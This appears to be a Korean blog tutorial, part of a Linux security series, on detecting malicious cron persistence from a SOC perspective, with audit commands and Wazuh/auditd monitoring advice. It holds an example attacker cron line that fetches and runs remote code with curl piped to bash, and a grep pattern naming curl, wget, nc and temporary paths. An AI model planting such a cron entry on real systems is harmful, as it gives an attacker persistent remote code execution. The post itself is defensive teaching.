Linux 시스템 보안 기초 · 31/50편

이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.

선행 학습

1. 들어가며

cron은 '정해진 시각에 명령을 반복 실행'하는 스케줄러입니다. 이 반복성이 공격자에게는 완벽한 지속성 수단이 됩니다 — 5분마다 재접속을 시도하는 악성 cron 하나면 재부팅도 무의미하죠. 이번 편은 cron 지속성 탐지를 정리합니다.

2. 핵심 개념

cron이 명령을 읽는 위치는 여러 곳입니다. 하나라도 놓치면 지속성을 못 잡습니다.

위치설명
/var/spool/cron/crontabs/<user>사용자별 crontab
/etc/crontab시스템 crontab
/etc/cron.d/패키지·개별 작업
/etc/cron.{hourly,daily,weekly,monthly}/주기 스크립트

/etc/cron.d/와 사용자 crontab이 특히 악용됩니다.

공격자가 추가한 cron
*/5 * * * * curl -s http://203.0.113.10/x | bash
 │   │                      │
 └─5분마다 ─────────────────┴─ 외부에서 명령 받아 실행
        │
        └ 프로세스를 죽여도 5분 뒤 재실행 → 지속성

3. 동작 원리

cron 데몬(cron/crond)은 위 위치들을 주기적으로 읽어 등록된 명령을 지정 시각에 실행합니다. 공격자는 여기에 '재접속·재실행' 명령을 심어, 방어자가 악성 프로세스를 종료해도 일정 주기마다 되살아나게 합니다.

탐지의 핵심은 모든 cron 위치를 빠짐없이 훑고, 각 항목의 명령이 정상인지 보는 것입니다. 특히 다운로드-실행, 인코딩된 명령, 낯선 스크립트 경로가 신호입니다.

4. 명령어 실습

# 사용자별 crontab 전체 확인
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u =="; sudo crontab -l -u "$u" 2>/dev/null; done

# 시스템 cron 위치 일괄 확인
sudo cat /etc/crontab; sudo ls -la /etc/cron.d/ /etc/cron.{hourly,daily,weekly,monthly}/

# 의심 패턴 검색
sudo grep -rEi 'curl|wget|base64|/tmp/|/dev/shm|nc ' /etc/cron* /var/spool/cron 2>/dev/null

5. 실행 결과

실습 컨테이너의 /etc/cron.d/ 실제 목록입니다. (실제 캡처)

$ ls -la /etc/cron.d/
-rw-r--r-- 1 root root 102 Mar 31  2024 .placeholder
-rw-r--r-- 1 root root 201 Apr  8  2024 e2scrub_all
-rw-r--r-- 1 root root 712 Nov 24  2025 php

e2scrub_all, php는 패키지가 설치한 정상 항목입니다. 여기에 최근 날짜의 낯선 파일이나, 위 grep에서 curl|bash 같은 줄이 나오면 악성 cron 지속성으로 판단합니다.

6. 보안 관점 — 정상 사용 vs 악용

  • 정상: 패키지 설치 cron, 문서화된 운영 작업.
  • 악성 징후:
    • 다운로드-실행/인코딩 명령
    • /tmp·/dev/shm 스크립트 실행
    • 최근 추가된 사용자 crontab 항목
    • @reboot로 부팅 시 실행

cron은 위치가 많아 '전수 점검'이 생명입니다. 한 곳만 봐서는 반드시 놓칩니다.

7. 탐지 방법

  • 모든 cron 위치 전수 grep
  • 최근 변경된 cron 파일(-mtime)
  • cron 디렉터리 변경 감사(auditd -w /etc/cron.d ..., 44편)

8. SOC 관점 — SIEM · Wazuh · IOC

악성 cron은 MITRE T1053.003(Cron) 지속성 기법입니다. Wazuh FIM으로 모든 cron 경로를 감시하고, 이 시리즈 실습에서는 auditd에 cron_persist 키로 cron 디렉터리 watch를 걸어 두었습니다(41편). SIEM은 cron 변경을 SSH 로그인·권한 상승과 상관분석해 지속성 확립 시점을 특정합니다.

9. 실습 체크리스트

[ ] 사용자별 crontab 전수 확인
[ ] 시스템 cron 위치 일괄 점검
[ ] 의심 패턴 grep
[ ] cron 디렉터리 변경 감사

10. 핵심 정리

  • cron의 반복성은 완벽한 지속성 수단이 된다.
  • cron 위치가 많아 전수 점검이 필수다.
  • 다운로드-실행·@reboot·임시경로 실행이 악성 신호다.
  • 악성 cron은 프로세스를 죽여도 주기마다 되살아난다.
  • cron 변경 감사로 지속성 확립 시점을 특정한다.

11. 다음 편

다음 편에서는 32. Linux 환경변수 기반 공격 를 다룹니다. 실행 경로 자체를 조작하는 환경변수 기반 공격(PATH/LD_PRELOAD)을 봅니다.


본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글